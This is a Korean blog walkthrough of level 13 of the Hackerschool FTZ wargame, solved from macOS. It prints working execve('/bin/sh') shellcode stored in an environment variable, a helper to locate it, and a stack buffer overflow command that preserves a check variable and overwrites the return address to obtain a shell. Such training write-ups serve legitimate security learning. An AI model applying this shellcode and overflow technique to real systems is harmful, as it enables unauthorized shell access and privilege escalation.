Security&Hacking/시스템 해킹

해커스쿨 ftz level13 (macOS)

Dior2ky 2020. 1. 19. 01:45
반응형

해커스쿨 ftz Level13

MacOS에서 푸는 해커스쿨 ftz 

해커스쿨 ftz level13 단계이다.

먼저 ftz서버를 실행한다.

서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.

 

Mac의 터미널을 열어 서버에 접속합니다.

명령어는 

ssh -c aes128-cbc level13@서버ip

라고 입력합니다.

Id: level13, pw: have no clue 로 로그인하여 파일을 확인하였다.

hint를 확인하니 소스코드가 나왔고 코드를 살펴보니 i의 값이 0x1234567로 잘 덮어주면 될 것 같다.

gdb를 통해 attackme 프로그램을 보기로 했다.

main함수의 구조를 확인하였다. buf 배열과 dummy부분을 아무값이나 채우고 i01234567로 채우고 다시 dummy값고 sfp 부분을 아무값으로 채운뒤 쉘코드를 작성하여 ret값에 넣어주면 될 것 같다.

tmp 디렉토리로 이동하여 쉘코드를 작성하였다.

$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

 

$gcc getenv.c -o getenv

 

$./getenv

를 차례로 입력하여 0xbffffe45의 쉘코드 주소를 구했다.

다시 이전 디렉토리로 돌아와서 구한 주소를 포함한

./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x45\xfe\xff\xbf"'`

명령어를 입력했더니 쉘을 얻을 수 있었다.

my-pass 명령어를 입력하니 패스워드를 알 수 있었다.

 

끝.

반응형

'Security&Hacking > 시스템 해킹' 카테고리의 다른 글

해커스쿨 ftz level15 (macOS)  (0) 2020.01.19
해커스쿨 ftz level14 (macOS)  (0) 2020.01.19
해커스쿨 ftz level12 (macOS)  (0) 2020.01.19
해커스쿨 ftz level11 (macOS)  (0) 2020.01.19
해커스쿨 ftz level10 (macOS)  (0) 2020.01.19